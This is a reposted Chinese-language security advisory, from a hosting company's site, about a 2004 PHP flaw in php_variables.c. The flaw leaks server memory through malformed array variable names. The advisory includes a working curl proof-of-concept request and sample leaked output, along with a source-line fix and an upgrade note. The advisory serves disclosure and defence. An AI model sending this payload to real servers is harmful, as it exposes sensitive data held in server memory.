手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

PHP PHP_Variables远程内存泄露漏洞

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
PHP PHP_Variables远程内存泄露漏洞

发布日期:2004-09-15
更新日期:2004-10-10

受影响系统:
PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
不受影响系统:
PHP PHP 5.0.2
PHP PHP 4.1.2
描述:
BUGTRAQ ID: 11334

PHP是一种流行的WEB服务器端编程语言。

PHP中由于php_variables.c的错误数组解析,远程攻击者可以利用这个漏洞获得PHP代码或者部分内存数据。

通过在追加一个GET/POST/COOKIE变量数组后追加一个'[',如abc[a][,'a'数组元素长度设置为变量名strlen("abc")长度变量,可导致服务程序返回部分内存信息给攻击者,可能导致敏感信息泄露。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109527531130492&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Stefano Di Paola (stefano@dipaola.wisec.it)提供了如下测试方法:

$ curl "http://www.example.com/phpinfo.php" -d `perl -e 'print "f"x100;print "[g][=1"'`

where phpinfo.php is:
<?
phpinfo();
?>

或者包含print_r函数的PHP文件:
<?
print_r($_REQUEST);
?>

it will print the output similar to:
------------------------------------------------
Array
(
[ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffff] => Array
(

[g\0_\0123\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0] => 1
)
)
-----------------------------------------------

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在php5.0.1中修改main/php_variables.c的136行:

index_len = var_len = strlen(var);

改为

index_len = var_len = strlen(index);


并重新编译。

厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

PHP Upgrade PHP 5.0.2
http://www.php.net/downloads.php#v5

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!